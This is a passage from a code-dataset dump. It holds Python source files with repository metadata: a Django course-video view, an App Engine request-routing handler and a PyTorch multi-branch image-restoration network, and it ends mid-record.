filename in paths\n ]\n )\n .drop_duplicates()\n .compute()\n .reset_index(drop=True)\n .rename_axis(\"col_id\")\n .reset_index()\n )\n return vocab\n", "repo_name": "som-shahlab/fairness_benchmark", "sub_path": "prediction_utils/extraction_utils/featurizer.py", "file_name": "featurizer.py", "file_ext": "py", "file_size_in_byte": 50304, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 10, "dataset": "github-code", "pt": "16", "api": [{"api_name": "prediction_utils.extraction_utils.database.BQDatabase", "line_number": 710, "usage_type": "call"}, {"api_name": "os.path.expanduser", "line_number": 739, "usage_type": "call"}, {"api_name": "os.path", "line_number": 739, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 876, "usage_type": "call"}, {"api_name": "os.path", "line_number": 876, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 886, "usage_type": "call"}, {"api_name": "os.path", "line_number": 886, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 901, "usage_type": "call"}, {"api_name": "os.path", "line_number": 901, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 916, "usage_type": "call"}, {"api_name": "os.path", "line_number": 916, "usage_type": "attribute"}, {"api_name": "dask.config.set", "line_number": 1093, "usage_type": "call"}, {"api_name": "dask.config", "line_number": 1093, "usage_type": "attribute"}, {"api_name": "dask.distributed.Client", "line_number": 1094, "usage_type": "call"}, {"api_name": "dask.config.set", "line_number": 1095, "usage_type": "call"}, {"api_name": "dask.config", "line_number": 1095, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 1097, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1097, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 1100, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1100, "usage_type": "attribute"}, {"api_name": "prediction_utils.util.overwrite_dir", "line_number": 1102, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 1105, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1105, "usage_type": "attribute"}, {"api_name": "prediction_utils.util.overwrite_dir", "line_number": 1106, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 1109, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1109, "usage_type": "attribute"}, {"api_name": "pandas.read_parquet", "line_number": 1111, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 1114, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 1115, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1115, "usage_type": "attribute"}, {"api_name": "dask.dataframe.concat", "line_number": 1129, "usage_type": "call"}, {"api_name": "dask.dataframe", "line_number": 1129, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 1136, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1136, "usage_type": "attribute"}, {"api_name": "prediction_utils.util.overwrite_dir", "line_number": 1137, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 1147, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1147, "usage_type": "attribute"}, {"api_name": "scipy.sparse.csr_matrix", "line_number": 1157, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 1157, "usage_type": "name"}, {"api_name": "numpy.ones_like", "line_number": 1159, "usage_type": "call"}, {"api_name": "numpy.int64", "line_number": 1159, "usage_type": "attribute"}, {"api_name": "scipy.sparse.csr_matrix", "line_number": 1164, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 1164, "usage_type": "name"}, {"api_name": "joblib.dump", "line_number": 1170, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 1170, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1170, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 1174, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1174, "usage_type": "attribute"}, {"api_name": "prediction_utils.util.overwrite_dir", "line_number": 1175, "usage_type": "call"}, {"api_name": "numpy.int64", "line_number": 1178, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 1188, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1188, "usage_type": "attribute"}, {"api_name": "dask.dataframe.read_parquet", "line_number": 1190, "usage_type": "call"}, {"api_name": "dask.dataframe", "line_number": 1190, "usage_type": "name"}, {"api_name": "dask.dataframe.read_csv", "line_number": 1192, "usage_type": "call"}, {"api_name": "dask.dataframe", "line_number": 1192, "usage_type": "name"}, {"api_name": "glob.glob", "line_number": 1198, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 1199, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1199, "usage_type": "attribute"}, {"api_name": "dask.dataframe.concat", "line_number": 1207, "usage_type": "call"}, {"api_name": "dask.dataframe", "line_number": 1207, "usage_type": "name"}]} +{"seq_id": "40817220727", "text": "from django.shortcuts import render,redirect\nfrom home.models import Course,Video,UserCourse\n\n\n\ndef get_course(request,slug): # sourcery skip: avoid-builtin-shadow\n user_is_auth = request.user.is_authenticated\n # try:\n course = Course.objects.get(slug=slug)\n is_purchased=get_is_purchased(course,request)\n try:\n id = request.GET.get('code')\n video = Video.objects.get(video_id=id)\n except Exception:\n video = Video.objects.filter(course=course).order_by('serial_number').first()\n\n video_number = video.serial_number\n id = video.video_id\n\n next_video_id = return_video_id(Video.objects.filter(serial_number= video_number + 1,course=course))\n prev_video_id = return_video_id(Video.objects.filter(serial_number= video_number - 1,course=course))\n \n if video.is_preview is False:\n\n if (user_is_auth is False):\n return redirect('sign_in')\n else:\n if not is_purchased:\n return redirect('checkout',slug=slug)\n\n # except Exception:\n # params={'course':'none'}\n # return render(request,'home/course.html',params)\n\n params={'course':course,'id':id,'is_purchased':is_purchased,'next_video_id':next_video_id,'prev_video_id':prev_video_id}\n\n return render(request,'home/course.html',params)\n\ndef return_video_id(video):\n return video.first().video_id if len(video) != 0 else False\n \n\ndef get_is_purchased(course,request):\n try:\n is_purchased= UserCourse.objects.get(course=course,user=request.user)\n except Exception:\n return False\n return True\n\n \n \n \n \n ", "repo_name": "rajatrawal/video-course", "sub_path": "home/views/courses.py", "file_name": "courses.py", "file_ext": "py", "file_size_in_byte": 1623, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "home.models.Course.objects.get", "line_number": 9, "usage_type": "call"}, {"api_name": "home.models.Course.objects", "line_number": 9, "usage_type": "attribute"}, {"api_name": "home.models.Course", "line_number": 9, "usage_type": "name"}, {"api_name": "home.models.Video.objects.get", "line_number": 13, "usage_type": "call"}, {"api_name": "home.models.Video.objects", "line_number": 13, "usage_type": "attribute"}, {"api_name": "home.models.Video", "line_number": 13, "usage_type": "name"}, {"api_name": "home.models.Video.objects.filter", "line_number": 15, "usage_type": "call"}, {"api_name": "home.models.Video.objects", "line_number": 15, "usage_type": "attribute"}, {"api_name": "home.models.Video", "line_number": 15, "usage_type": "name"}, {"api_name": "home.models.Video.objects.filter", "line_number": 20, "usage_type": "call"}, {"api_name": "home.models.Video.objects", "line_number": 20, "usage_type": "attribute"}, {"api_name": "home.models.Video", "line_number": 20, "usage_type": "name"}, {"api_name": "home.models.Video.objects.filter", "line_number": 21, "usage_type": "call"}, {"api_name": "home.models.Video.objects", "line_number": 21, "usage_type": "attribute"}, {"api_name": "home.models.Video", "line_number": 21, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 26, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 29, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 37, "usage_type": "call"}, {"api_name": "home.models.UserCourse.objects.get", "line_number": 45, "usage_type": "call"}, {"api_name": "home.models.UserCourse.objects", "line_number": 45, "usage_type": "attribute"}, {"api_name": "home.models.UserCourse", "line_number": 45, "usage_type": "name"}]} +{"seq_id": "7373177023", "text": "import logging\nimport traceback\nfrom google.appengine.api import users\nimport webapp2\nfrom web.usuarios import usuario\nfrom core.usuario.model import Usuario\nfrom core.web import tmpl\nfrom zen import router\nfrom zen.router import PathNotFound\n\ndef _extract_values(handler, param, default_value=\"\"):\n values = handler.request.get_all(param)\n if param.endswith(\"[]\"):\n return param[:-2], values if values else []\n else:\n if not values: return param, default_value\n if len(values) == 1: return param, values[0]\n return param, values\n\n\nclass BaseHandler(webapp2.RequestHandler):\n def get(self):\n self.make_convetion()\n\n def post(self):\n self.make_convetion()\n\n def make_convetion(self):\n kwargs = dict(_extract_values(self, a) for a in self.request.arguments())\n fcn,params=None,None\n\n def write_template(template_name, values={}):\n user = Usuario.current_user()\n if user:\n values[\"current_user\"]=user\n values[\"logout_url\"]=users.create_logout_url(\"/\")\n else:\n cadastro_url=router.to_path(usuario.form)\n values[\"login_url\"]=users.create_login_url(cadastro_url)\n\n document=tmpl.render(template_name, values)\n return self.response.write(document)\n\n convention_params = {\"req\": self.request, \"resp\": self.response,\n \"handler\": self,\"write_tmpl\":write_template,\n \"tmpl\":tmpl}\n convention_params[\"_dependencias\"]=convention_params\n try:\n fcn, params = router.to_handler(self.request.path, convention_params, **kwargs)\n fcn(*params, **kwargs)\n except PathNotFound:\n logging.error(\"Path not Found: \" + self.request.path)\n self.response.write(\"Ocorreu um erro, veja o console\")\n except:\n logging.error((fcn, params, kwargs))\n logging.error(traceback.format_exc())\n self.response.write(\"Ocorreu um erro, veja o console\")\n\n\napp = webapp2.WSGIApplication([(\"/.*\", BaseHandler)], debug=False)\n\n", "repo_name": "lshens/Mosquelando", "sub_path": "src/zen/gae/convention.py", "file_name": "convention.py", "file_ext": "py", "file_size_in_byte": 2142, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "webapp2.RequestHandler", "line_number": 21, "usage_type": "attribute"}, {"api_name": "core.usuario.model.Usuario.current_user", "line_number": 33, "usage_type": "call"}, {"api_name": "core.usuario.model.Usuario", "line_number": 33, "usage_type": "name"}, {"api_name": "google.appengine.api.users.create_logout_url", "line_number": 36, "usage_type": "call"}, {"api_name": "google.appengine.api.users", "line_number": 36, "usage_type": "name"}, {"api_name": "zen.router.to_path", "line_number": 38, "usage_type": "call"}, {"api_name": "zen.router", "line_number": 38, "usage_type": "name"}, {"api_name": "web.usuarios.usuario.form", "line_number": 38, "usage_type": "attribute"}, {"api_name": "web.usuarios.usuario", "line_number": 38, "usage_type": "name"}, {"api_name": "google.appengine.api.users.create_login_url", "line_number": 39, "usage_type": "call"}, {"api_name": "google.appengine.api.users", "line_number": 39, "usage_type": "name"}, {"api_name": "core.web.tmpl.render", "line_number": 41, "usage_type": "call"}, {"api_name": "core.web.tmpl", "line_number": 41, "usage_type": "name"}, {"api_name": "core.web.tmpl", "line_number": 46, "usage_type": "name"}, {"api_name": "zen.router.to_handler", "line_number": 49, "usage_type": "call"}, {"api_name": "zen.router", "line_number": 49, "usage_type": "name"}, {"api_name": "zen.router.PathNotFound", "line_number": 51, "usage_type": "name"}, {"api_name": "logging.error", "line_number": 52, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 55, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 56, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 56, "usage_type": "call"}, {"api_name": "webapp2.WSGIApplication", "line_number": 60, "usage_type": "call"}]} +{"seq_id": "17942364654", "text": "# -*- coding:utf-8 -*-\r\nimport torch\r\nimport torch.nn as nn\r\nimport numpy as np\r\nimport math\r\nfrom models.modules import upsample_block,Nonlocal_CA,CAT,SOCARB,CARB,FRM,Space_attention,UpBlock,DownBlock\r\n\r\ndef conv(in_channels, out_channels, kernel_size, bias=True):\r\n return nn.Conv2d(in_channels, out_channels, kernel_size,padding=(kernel_size//2), bias=bias)\r\n\r\nclass RK3(nn.Module):\r\n def __init__(self, n_feats=64, kernel_size=3,bias=True, act=nn.PReLU(1, 0.25), res_scale=1):\r\n\r\n super(RK3, self).__init__()\r\n\r\n self.conv1 = conv(n_feats, n_feats, kernel_size, bias=bias)\r\n self.conv2 = conv(n_feats, n_feats, kernel_size, bias=bias)\r\n self.conv3 = conv(n_feats, n_feats, kernel_size, bias=bias)\r\n self.relu1 = nn.PReLU(n_feats, 0.25)\r\n self.relu2 = nn.PReLU(n_feats, 0.25)\r\n self.relu3 = nn.PReLU(n_feats, 0.25)\r\n self.scale1 = nn.Parameter(torch.FloatTensor([0.5]), requires_grad=True)\r\n self.scale2 = nn.Parameter(torch.FloatTensor([2.0]), requires_grad=True)\r\n self.scale3 = nn.Parameter(torch.FloatTensor([-1.0]), requires_grad=True)\r\n self.scale4 = nn.Parameter(torch.FloatTensor([4.0]), requires_grad=True)\r\n self.scale5 = nn.Parameter(torch.FloatTensor([1/6]), requires_grad=True)\r\n\r\n def forward(self, x):\r\n \r\n yn = x\r\n k1 = self.relu1(x)\r\n k1 = self.conv1(k1)\r\n yn_1 = k1*self.scale1 + yn\r\n k2 = self.relu2(yn_1)\r\n k2 = self.conv2(k2)\r\n yn_2 = yn + self.scale2*k2\r\n yn_2 = yn_2 + k1*self.scale3\r\n k3 = self.relu3(yn_2)\r\n k3 = self.conv3(k3)\r\n yn_3 = k3 + k2*self.scale4 + k1\r\n yn_3 = yn_3*self.scale5\r\n out = yn_3 + yn\r\n return out\r\n\r\nclass Down2(nn.Module):\r\n def __init__(self,c_in,c_out):\r\n super(Down2, self).__init__()\r\n \r\n self.conv_input = nn.Conv2d(in_channels=c_in, out_channels=32, kernel_size=3, stride=1, padding=1, bias=False)\r\n self.relu = nn.PReLU()\r\n self.convt_R1 = nn.Conv2d(in_channels=32, out_channels=c_out, kernel_size=3, stride=1, padding=1, bias=False)\r\n self.block = CARB(64)\r\n self.down = nn.Conv2d(in_channels=32, out_channels=32, kernel_size=3, stride=2, padding=1, bias=False)\r\n \r\n for m in self.modules():\r\n if isinstance(m, nn.Conv2d):\r\n n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels\r\n m.weight.data.normal_(0, math.sqrt(2. / n))\r\n if m.bias is not None:\r\n m.bias.data.zero_() \r\n\r\n def forward(self, x):\r\n out = self.relu(self.conv_input(x))\r\n out = self.down(out)\r\n LR_2x = self.convt_R1(out)\r\n LR_2x = self.block(LR_2x)\r\n return LR_2x\r\n\r\nclass Branch1(nn.Module):\r\n def __init__(self):\r\n super(Branch1, self).__init__()\r\n self.convt_F01 = CARB(64)\r\n self.convt_F02 = CARB(64)\r\n self.convt_F03 = CARB(64)\r\n # self.convt_F04 = CARB(64)\r\n # self.convt_F05 = CARB(64)\r\n\r\n self.convt_F11 = CARB(64)\r\n self.convt_F12 = CARB(64)\r\n self.convt_F13 = CARB(64)\r\n self.convt_F14 = CARB(64)\r\n # self.convt_F15 = CARB(64)\r\n # self.convt_F16 = CARB(64)\r\n # self.convt_F17 = CARB(64)\r\n # self.convt_F18 = RK3()\r\n # self.convt_F19 = RK3()\r\n self.conv_input = nn.Conv2d(in_channels=1, out_channels=64, kernel_size=3, stride=1, padding=1, bias=False)\r\n self.conv_input2 = nn.Conv2d(in_channels=64, out_channels=3, kernel_size=3, stride=1, padding=1, bias=False)\r\n self.relu = nn.PReLU()\r\n self.cats = CAT(128)\r\n self.SA1 = Space_attention(64,64,1,1,0,1)\r\n for m in self.modules():\r\n if isinstance(m, nn.Conv2d):\r\n n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels\r\n m.weight.data.normal_(0, math.sqrt(2. / n))\r\n if m.bias is not None:\r\n m.bias.data.zero_()\r\n\r\n def forward(self, x, b):\r\n out = self.relu(self.conv_input(x))\r\n convt_F01 = self.convt_F01(out)\r\n convt_F02 = self.convt_F02(convt_F01)\r\n shallow_ft = self.convt_F03(convt_F02)\r\n # convt_F04 = self.convt_F04(convt_F03)\r\n # shallow_ft = self.convt_F05(convt_F04)\r\n\r\n fu = torch.cat((shallow_ft,b),1)\r\n fu = self.cats(fu)\r\n # fu = self.SA1(fu)\r\n cf1 = self.convt_F11(fu)\r\n cf2 = self.convt_F12(cf1)\r\n cf3 = self.convt_F13(cf2)\r\n cf4 = self.convt_F14(cf3)\r\n # cf5 = self.convt_F15(cf4)\r\n # cf6 = self.convt_F16(cf5)\r\n # cf7 = self.convt_F17(cf6)\r\n # cf8 = self.convt_F18(cf7)\r\n # cf9 = self.convt_F19(cf8)\r\n # clean = self.conv_input2(cf6)\r\n clean = cf4\r\n return clean\r\n\r\nclass Branch2(nn.Module):\r\n def __init__(self):\r\n super(Branch2, self).__init__()\r\n self.conv_input = nn.Conv2d(in_channels=64, out_channels=64, kernel_size=3, stride=1, padding=1, bias=False)\r\n # self.conv_input2 = nn.Conv2d(in_channels=64, out_channels=64, kernel_size=3, stride=1, padding=1, bias=False)\r\n self.relu = nn.PReLU()\r\n self.convt_F01 = CARB(64)\r\n self.convt_F02 = CARB(64)\r\n self.convt_F03 = CARB(64)\r\n # self.convt_F04 = CARB(64)\r\n # self.convt_F05 = CARB(64)\r\n\r\n self.convt_F11 = CARB(64)\r\n self.convt_F12 = CARB(64)\r\n self.convt_F13 = CARB(64)\r\n self.convt_F14 = CARB(64)\r\n # self.convt_F15 = CARB(64)\r\n # self.convt_F16 = CARB(64)\r\n # self.convt_F17 = CARB(64)\r\n # self.convt_F18 = RK3()\r\n # self.convt_F19 = RK3()\r\n #-------------\r\n self.cats = CAT(128)\r\n self.u1 = upsample_block(64,256)\r\n # self.convt_shape1 = nn.Conv2d(in_channels=64, out_channels=3, kernel_size=3, stride=1, padding=1, bias=False)\r\n # self.SA1 = Space_attention(64,64,1,1,0,1)\r\n # self.SA2 = Space_attention(64,64,1,1,0,1)\r\n\r\n for m in self.modules():\r\n if isinstance(m, nn.Conv2d):\r\n n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels\r\n m.weight.data.normal_(0, math.sqrt(2. / n))\r\n if m.bias is not None:\r\n m.bias.data.zero_()\r\n\r\n def forward(self, x, b):\r\n out = self.relu(self.conv_input(x))\r\n convt_F01 = self.convt_F01(out)\r\n convt_F02 = self.convt_F02(convt_F01)\r\n shallow_ft = self.convt_F03(convt_F02)\r\n # convt_F04 = self.convt_F04(convt_F03)\r\n # shallow_ft = self.convt_F05(convt_F04)\r\n\r\n fu = torch.cat((shallow_ft,b),1)\r\n fu = self.cats(fu)\r\n # fu = self.SA1(fu)\r\n convt_F11 = self.convt_F11(fu)\r\n convt_F12 = self.convt_F12(convt_F11)\r\n convt_F13 = self.convt_F13(convt_F12)\r\n convt_F14 = self.convt_F14(convt_F13)\r\n # convt_F15 = self.convt_F15(convt_F14)\r\n # convt_F16 = self.convt_F16(convt_F15)\r\n # convt_F17 = self.convt_F17(convt_F16)\r\n # convt_F18 = self.convt_F18(convt_F17)\r\n # convt_F19 = self.convt_F19(convt_F18)\r\n #上采样\r\n combine = out + convt_F14\r\n # combine = self.SA2(combine)\r\n up = self.u1(combine)\r\n f = up\r\n # clean = self.convt_shape1(up)\r\n clean = up\r\n return clean,f\r\n\r\nclass Branch3(nn.Module):\r\n def __init__(self):\r\n super(Branch3, self).__init__()\r\n self.conv_input = nn.Conv2d(in_channels=64, out_channels=64, kernel_size=3, stride=1, padding=1, bias=False)\r\n # self.conv_input2 = nn.Conv2d(in_channels=64, out_channels=64, kernel_size=3, stride=1, padding=1, bias=False)\r\n self.relu = nn.PReLU()\r\n self.convt_F11 = CARB(64)\r\n self.convt_F12 = CARB(64)\r\n self.convt_F13 = CARB(64)\r\n self.convt_F14 = CARB(64)\r\n # self.convt_F15 = CARB(64)\r\n # self.convt_F16 = CARB(64)\r\n # self.convt_F17 = CARB(64)\r\n # self.convt_F18 = RK3()\r\n # self.convt_F19 = RK3()\r\n # self.convt_F20 = RK3()\r\n self.u1 = upsample_block(64,256)\r\n self.u2 = upsample_block(64,256)\r\n self.cats = CAT(128)\r\n # self.SA1 = Space_attention(64,64,1,1,0,1)\r\n # self.SA2 = Space_attention(64,64,1,1,0,1)\r\n # self.convt_shape1 = nn.Conv2d(in_channels=64, out_channels=3, kernel_size=3, stride=1, padding=1, bias=False)\r\n # self.non_local = Nonlocal_CA(in_feat=64, inter_feat=64//8, reduction=8,sub_sample=False, bn_layer=False)\r\n for m in self.modules():\r\n if isinstance(m, nn.Conv2d):\r\n n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels\r\n m.weight.data.normal_(0, math.sqrt(2. / n))\r\n if m.bias is not None:\r\n m.bias.data.zero_()\r\n\r\n def forward(self, x):\r\n out = self.relu(self.conv_input(x))\r\n convt_F11 = self.convt_F11(out) \r\n convt_F12 = self.convt_F12(convt_F11) \r\n convt_F13 = self.convt_F13(convt_F12)\r\n convt_F14 = self.convt_F14(convt_F13)\r\n # convt_F15 = self.convt_F15(convt_F14)\r\n # convt_F16 = self.convt_F16(convt_F15)\r\n # convt_F17 = self.convt_F17(convt_F16)\r\n # convt_F18 = self.convt_F18(convt_F17)\r\n # convt_F19 = self.convt_F19(convt_F18)\r\n # convt_F20 = self.convt_F20(convt_F19)\r\n # convt_F14 = self.non_local(convt_F14)\r\n #上采样\r\n combine = out + convt_F14\r\n # combine = self.SA2(combine)\r\n up = self.u1(combine)\r\n f = up\r\n up = self.u2(up)\r\n # clean = self.convt_shape1(up)\r\n clean = up\r\n return clean,f\r\n\r\nclass To_clean_image(nn.Module):\r\n def __init__(self,ichannels=64):\r\n super(To_clean_image, self).__init__()\r\n self.se = FRM(ichannels)\r\n self.gff = nn.Conv2d(in_channels=ichannels, out_channels=ichannels, kernel_size=3, stride=1, padding=1, bias=False)\r\n self.relu = nn.PReLU()\r\n self.conv_tail = nn.Conv2d(in_channels=ichannels, out_channels=ichannels, kernel_size=3, stride=1, padding=1, bias=False)\r\n self.relut = nn.PReLU()\r\n self.conv_out = nn.Conv2d(ichannels, 1, kernel_size=3, stride=1, padding=1)\r\n\r\n def forward(self, resize1):\r\n f = resize1\r\n # gff = self.relu(self.gff(concat))\r\n # se = self.se(gff)+concat\r\n tail = self.relut(self.conv_tail(f))\r\n out = self.conv_out(tail)\r\n return out\r\n\r\nclass Net(nn.Module):\r\n def __init__(self):\r\n super(Net, self).__init__()\r\n # 下采样\r\n self.down2_1 = Down2(1,64)\r\n self.down2_2 = Down2(64,64)\r\n # self.down2_3a = Down2(64,64)\r\n # Branches\r\n self.branch1 = Branch1()\r\n self.branch2 = Branch2()\r\n self.branch3 = Branch3()\r\n # self.branch4 = Branch4()\r\n # self.SA2 = Space_attention(64,64,1,1,0,1)\r\n # self.SA3 = Space_attention(64,64,1,1,0,1)\r\n\r\n self.to_clean1 = To_clean_image()\r\n\r\n for m in self.modules():\r\n if isinstance(m, nn.Conv2d):\r\n n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels\r\n m.weight.data.normal_(0, math.sqrt(2. / n))\r\n if m.bias is not None:\r\n m.bias.data.zero_()\r\n\r\n def forward(self, x):\r\n # out = self.relu(self.conv_input(x))\r\n feat_down2 = self.down2_1(x)\r\n # print('3') 32x32\r\n feat_down3 = self.down2_2(feat_down2)\r\n # feat_down4 = self.down2_3(feat_down3)\r\n #----------------------------------------------------------------\r\n # i4,b4 = self.branch4(feat_down4) \r\n #---------\r\n i3,b3 = self.branch3(feat_down3) \r\n #--------- \r\n # feat_down2 = self.SA2(feat_down2)\r\n i2,b2 = self.branch2(feat_down2,b3)\r\n #---------\r\n i1 = self.branch1(x,b2)\r\n #---------\r\n clean = self.to_clean1(i1)\r\n # clean = self.convt_shape1(combine)\r\n return clean\r\n\r\nclass ScaleLayer(nn.Module):\r\n\r\n def __init__(self, init_value=1.0):\r\n super(ScaleLayer,self).__init__()\r\n self.scale = nn.Parameter(torch.FloatTensor([init_value]))\r\n\r\n def forward(self, x):\r\n # print(self.scale)\r\n return x * self.scale\r\n\r\n", "repo_name": "opteroncx/FLSN", "sub_path": "models/msfan.py", "file_name": "msfan.py", "file_ext": "py", "file_size_in_byte": 12346, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "torch.nn.Conv2d", "line_number": 9, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 9, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 11, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 11, "usage_type": "name"}, {"api_name": "torch.nn.PReLU", "line_number": 12, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 12, "usage_type": "name"}, {"api_name": "torch.nn.PReLU", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 19, "usage_type": "name"}, {"api_name": "torch.nn.PReLU", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 20, "usage_type": "name"}, {"api_name": "torch.nn.PReLU", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 21, "usage_type": "name"}, {"api_name": "torch.nn.Parameter", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 22, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.nn.Parameter", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 23, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.nn.Parameter", "line_number": 24, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 24, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 24, "usage_type": "call"}, {"api_name": "torch.nn.Parameter", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 25, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.nn.Parameter", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 26, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 45, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 45, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 49, "usage_type": "name"}, {"api_name": "torch.nn.PReLU", "line_number": 50, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 50, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 51, "usage_type": "name"}, {"api_name": "models.modules.CARB", "line_number": 52, "usage_type": "call"}, {"api_name": "torch.nn.Conv2d", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 53, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 56, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 56, "usage_type": "name"}, {"api_name": "math.sqrt", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 69, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 69, "usage_type": "name"}, {"api_name": "models.modules.CARB", "line_number": 72, "usage_type": "call"}, {"api_name": "models.modules.CARB", "line_number": 73, "usage_type": "call"}, {"api_name": "models.modules.CARB", "line_number": 74, "usage_type": "call"}, {"api_name": "models.modules.CARB", "line_number": 78, "usage_type": "call"}, {"api_name": "models.modules.CARB", "line_number": 79, "usage_type": "call"}, {"api_name": "models.modules.CARB", "line_number": 80, "usage_type": "call"}, {"api_name": "models.modules.CARB", "line_number": 81, "usage_type": "call"}, {"api_name": "torch.nn.Conv2d", "line_number": 87, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 87, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 88, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 88, "usage_type": "name"}, {"api_name": "torch.nn.PReLU", "line_number": 89, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 89, "usage_type": "name"}, {"api_name": "models.modules.CAT", "line_number": 90, "usage_type": "call"}, {"api_name": "models.modules.Space_attention", "line_number": 91, "usage_type": "call"}, {"api_name": "torch.nn.Conv2d", "line_number": 93, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 93, "usage_type": "name"}, {"api_name": "math.sqrt", "line_number": 95, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 107, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 123, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 123, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 126, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 126, "usage_type": "name"}, {"api_name": "torch.nn.PReLU", "line_number": 128, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 128, "usage_type": "name"}, {"api_name": "models.modules.CARB", "line_number": 129, "usage_type": "call"}, {"api_name": "models.modules.CARB", "line_number": 130, "usage_type": "call"}, {"api_name": "models.modules.CARB", "line_number": 131, "usage_type": "call"}, {"api_name": "models.modules.CARB", "line_number": 135, "usage_type": "call"}, {"api_name": "models.modules.CARB", "line_number": 136, "usage_type": "call"}, {"api_name": "models.modules.CARB", "line_number": 137, "usage_type": "call"}, {"api_name": "models.modules.CARB", "line_number": 138, "usage_type": "call"}, {"api_name": "models.modules.CAT", "line_number": 145, "usage_type": "call"}, {"api_name": "models.modules.upsample_block", "line_number": 146, "usage_type": "call"}, {"api_name": "torch.nn.Conv2d", "line_number": 152, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 152, "usage_type": "name"}, {"api_name": "math.sqrt", "line_number": 154, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 166, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 187, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 187, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 190, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 190, "usage_type": "name"}, {"api_name": 